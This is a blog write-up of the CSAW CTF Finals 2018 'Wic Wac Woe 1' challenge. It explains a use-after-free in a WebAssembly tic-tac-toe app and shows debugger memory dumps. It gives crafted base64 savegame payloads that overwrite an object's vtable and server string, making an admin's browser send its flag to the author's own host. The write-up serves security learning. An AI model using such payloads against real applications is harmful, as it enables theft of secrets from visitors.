CSAW CTF Finals 2018 – Wic Wac Woe 1 writeup

Introduction

I had the opportunity to compete in the CSAW CTF Finals 2018 for a second year in a row, with the UMBC Cyber Dawgs. It was a lot of fun, despite our somewhat lackluster finish in 10th place. I learned a lot. For instance, in this challenge, I learned how to exploit a Use-After-Free vulnerability (in WebAssembly no doubt!).

Challenge

WASM is the future of the web! JS devs will be writting c++, what could go wrong?.

This debugger might help kinda shrug emoji

Written by itszn, Ret2 Systems

http://pwn.chal.csaw.io:1000

HINT: You can get source via /test.wasm.map and /test.cpp

Step 1: Okay, what is this thing

a tic tac toe board with options to make moves, save games, and share games

I took a little while to goof around with the app to see what it does. It’s a playable tic-tac-toe game with a decent AI — you do have to try a little bit to beat it.

If I click “Save Game”, my URL changes to include a fragment that looks base64 encoded: http://pwn.chal.csaw.io:1000/#eyJhcGkiOiIvY2hlY2tfZmxhZyIsInBsYXlzIjpbeyJuYW1lIjoiZ3Vlc3QifSwiTUN3dyIsIk1Td3giLCJNU3d3IiwiTWl3eCJdfQ==, which decodes to {"api":"/check_flag","plays":[{"name":"guest"},"MCww","MSwx","MSww","Miwx"]}. Interesting. So there’s an API, a username, and this weird possibly base64 encoded other stuff. Turns out MCww decodes to 0,0, so that represents the move.

If I click “Share Game”, I get a page inviting me to share my tic-tac-toe games with (presumably the site owner). I have a CAPTCHA and a “Send Replay” button. So we assume that the “admin” is going to visit our save game when we submit it here.

Ok, now let’s look at the code

(Who are we kidding, of course I had already looked at the code by this point. But writeups have to be linear to make sense, so I’m imposing an order on things.)

Skimming through the HTML, we see that it’s all pretty plain, but there’s an app.js and a test.js included. So let’s look at those.

In app.js, we find some of the game logic, but there seems to be a lot missing. We see the code for the save and restore game feature, so we now know where the base64 encoded JSON came from. We observe a get_flags function, but upon inspection in the DevTools, we see that it’s simply a placeholder flag on my side (flug{pop the admin for the real flag}), and I must somehow get the admin to request them for me.

(Aside, making it flug vs flag was a nice touch by itszn here.)

Now we look at test.js, and upon skimming, we get the feeling that it’s generated by emscripten. I hadn’t actually used emscripten before, despite having heard a bunch about it, so I skimmed the code a bit to get an idea of what it was doing. I know I should find actual WebAssembly somewhere, and looking in my DevTools, I find test.wasm

(module
  (type $type0 (func (param i32)))
  (type $type1 (func (param i32 i32 i32) (result i32)))
  (type $type2 (func))
  (type $type3 (func (param i32 i32 i32 i32)))
  (type $type4 (func (param i32 i32 i32 i32 i32 i32)))
  (type $type5 (func (param i32 i32 i32 i32 i32)))

...

  (func $__ZN21AuthorizedFlagManager13validate_flagEv (;33;) (param $var0 i32)
<snip>
    get_global $global12
    set_local $var80
    get_global $global12
    i32.const 128
    i32.add
...

Rabbit trails into compiled WASM

I’m pretty sure that hint got added a few hours after the challenge was released. Or I can’t read, which is also possible. Either way, I spent a while trying to disassemble WebAssembly, which was an experience. There’s a tool set “The WebAssembly Binary Toolkit“, which was somewhat useful. It has a tool that’s supposed to decompile WASM into something resembling C, but I got nothing useful out of it.

As you can see above, reading it outright would be an exercise in frustration. It was at this point that I realized there was a sourcemap, which pointed me to the original source at /test.cpp. (I then noticed the hint… pretty sure it wasn’t there before. Pretty sure.)

Looking at test.cpp, the overall operation became much clearer.

void AuthorizedFlagManager::validate_flag() {
    check_flag(server.c_str(), flag1.c_str());
}

void UnauthorizedFlagManager::validate_flag() {
    check_flag(server.c_str(), "[REDACTED]");
}

void init_app(char* server, char* flag) {
    char* target = "/check_flag";
    if (!strcmp(target, server)) {
        manager = new AuthorizedFlagManager(server, flag);
    } else {
        manager = new UnauthorizedFlagManager(server, flag);
    }
}

bool play_game(char* data) {
    char* comma = strchr(data,',');
    if (!comma)
        return false;
    *comma = '\0';
    unsigned int row = atoi(data);
    unsigned int col = atoi(comma+1);

    if (row &gt;= 3 || col &gt;= 3)
        return false;

    if (board[row][col] == 2)
        return false;
    
    printf("Placing %u %u\n",row,col);

    place(row, col, 1);
    check_board();

    ai_move();
    return true;
}

The main game logic is implemented in C++, then compiled to WebAssembly with Emscripten. The page JavaScript calls into the WASM to get the results.

Since we can manipulate the API endpoint used via the api attribute in the savegame, there’s a check to make sure it’s still the original. Otherwise, we get shunted into the “Unauthorized” bucket, and the code swaps the real flag for [REDACTED].

The check_flag function (implemented in JavaScript no doubt!) basically sends the second argument to the URL specified by the first point.

First test

At this point, I decide to swap my own URL to the api attribute and see what happened. The “admin” did in fact request my URL (I checked my server logs), but the flag was replaced with [REDACTED].

Well that’s a problem.

Non-solutions

I then spent the better part of an hour convincing myself of a bunch of ways not to solve the challenge.

I considered if there were some way to cause a bug in strcmp to bypass the check. Unfortunately, strcmp is a fairly well tested standard library function, so I didn’t find any bugs.

I searched for XSS vulnerabilities, but I didn’t find any. I suspect there may have been some (to solve the second version of the challenge), but I found no trivial ones.

I looked for trivial buffer overflows, and found none that looked useful.

I looked intently at the string handling, since the code conflates C++ strings with C char *s, but no dice there.

At this point, the organizers (Hyper and itzsn) reminded me that it was in fact a pwn challenge, and that there would be some pwning involved.

I went and checked the scoreboard, since by this point, I had forgotten that it wasn’t a web challenge. Sure enough, it was marked as a pwn challenge.

Solution

So I went and stared at the code some more. Eventually two previously ignored pieces of code caught my eye:

void ai_wins() {
    printf("Game over! AI wins!\n");
    game_over = true;
    lose_game();
    delete manager;
}

...<snip>

int main() {
    printf("Starting Game!\n");
    manager = NULL;
    game_over = false;
    username = new string();
}

So when the AI wins, the manager (whether Authorized or UnauthorizedFlagManager) is deleted (or free‘d). However, the only place in the program where manager is initialized is the main function, only called on startup. Do we have a Use-After-Free (UAF) bug? I also realized that each of the moves is malloc‘d before the pointer is passed to the C++ code.

So if the manager is freed, and my move is the next malloc’d item, then I can spoof the manager object, which will be used the next time the user wins to “validate the flag”.

Maybe this is how I can convert my UnauthorizedFlagManager to an AuthorizedFlagManager.

I’ve never done anything with a Use-After-Free bug before, so I asked one of my teammates, who confirmed for me that it was in fact a UAF bug, and that I could in fact try to exploit it that way.

So I got itszn’s debugger (which was mentioned in the challenge description) back out, and tried to figure out what I was doing.

If I’m trying to mess with something, I figure I want to know what it is first, so I set out to determine what an AuthorizedFlagManager object looked like in memory. After no small amount of help from itszn as to how to use her debugger (the debugger was quite useful), I got the following:

Valid object dump:
0x00501f98:  0x00000de4 0x00502060 0x00000025 0x8000002f
0x00501fa8:  0x00502098 0x0000000b 0x8000000f 0x00000000
0x00501fb8:  0x00000000 0x00000013 0x73657567 0x00000074
0x00501fc8:  0x0067616c 0x00000013 0x00300030 0x00000089
0x00501fd8:  0x000019b8 0x00000013 0x00300032 0x6d646120
0x00501fe8:  0x66206e69 0x00000013 0x00320032 0x206c6165
0x00501ff8:  0x67616c66 0x00000013 0x00310031 0x00000000

This was obtained by setting a breakpoint near where the manager was allocated, then setting one where it was used, and noticing the common address on the stack. Then a quick x/100wx 0x501f98 later, and I had that. (Note: The endianness is somewhat backward there, since WASM is apparently little endian, and I requested it to be broken out by word.)

I concluded that the first word should be some sort of vtable pointer, and then the C++ strings must follow. I learned that C++ strings in this case were roughly structs of (data pointer, length, other stuff). So we see one word worth of assumed vtable, then 2 strings, followed by an null word, which could represent the play counter being at 0, but I don’t really care at that point.

class FlagManager {
    public:
    FlagManager() {};
    FlagManager(string s0, string s1) : server(s0), flag1(s1), plays(0) {};
    virtual void validate_flag();

    string flag1;
    protected:
    string server;

    private:
    int plays;

};

Fiddling with memory corruption

So I knew I needed to overwrite that vtable pointer to turn my UnauthorizedFlagManager authorized, so I could get the flag sent to me. I began by simply making sure I hit the code path I wanted, the one that calls validate_flag.

After confirming that, I added some A’s to my savegame in a location where I would expect a crash, and I successfully got one!

echo -n '{"api":"/check_flag","plays":[{"name":"guest"},"MCwy","MCwx","MSwx","AAAAAAAA", "Miwx"]}' | base64 -w 0 yielded the following:

0x00501f98:  0x00000000 0x00000000 0x00000025 0x0000001b
0x00501fa8:  0x00310032 0x0000000b 0x8000000f 0x00000000
0x00501fb8:  0x00000018 0x00000013 0x73657567 0x00000074
0x00501fc8:  0x0067616c 0x00000013 0x00320030 0x00000089
0x00501fd8:  0x000019b8 0x00000013 0x00310030 0x6d646120

So I’ve overwritten the first 2 words. Now I just need to overwrite them with the contents I want.

After some false starts involving remembering to use base64 encoding, endianness, and allocator behavior, I ended up needing to overwrite the whole object, to make sure everything was aligned properly. I finally reached a point where echo -n '{"api":"/check_flag","plays":[{"name":"guest"},"MCwy","MCwx","MSwx","5A0AAGAgUAAlAAAALwAAgA==", "Miwx"]}' | base64 -w 0
sent the flag to /check_flag.

Then I tried echo -n '{"api":"/NOT_CORREC","plays":[{"name":"guest"},"MCwy","MCwx","MSwx","5A0AAGAgUAAlAAAALwAAgA==", "Miwx"]}' | base64 -w 0, and my browser attempted to send the (fake, still testing on my end) flag to /NOT_CORREC.

Awesome, now I just need to swap that address out for my own server. After a bit of fiddling with the path (hey, I was tired lol, it took a couple tries), and overwriting more of the object, I ended up with echo -n '{"api":"//z10f.com/","plays":[{"name":"guest"},"MCwy","MCwx","MSwx","5A0AAGAgUAAlAAAALwAAgJggUAALAAAADwAAgAAAAAA=", "Miwx"]}' | base64 -w 0, which sent me the flag.

I then “Shared” my awesome savegame with the admin, whose browser shared an awesome flag with me! flag{Us3_a4ter_l0se_n0w_defeat_CFI!!}

Conclusion

This challenge was a lot of fun to work through. This was my first time attempting such a challenge, and I was happy to realize I did in fact understand conceptually how it worked. With some advice on the mechanics, I managed to get the exploit working.

Thanks to itzsn for writing such a fun challenge! I’d also like to thank the members of NYU’s OSIRIS Lab for hosting such an amazing competition. It was awesome to hang out with them over the weekend, and I hope our paths cross again sometime in our careers!

If you find this writeup interesting, please send me a message on Twitter and let me know, I’m @ZackOrndorff.

2 thoughts on “CSAW CTF Finals 2018 – Wic Wac Woe 1 writeup

Leave a Reply

Your email address will not be published. Required fields are marked *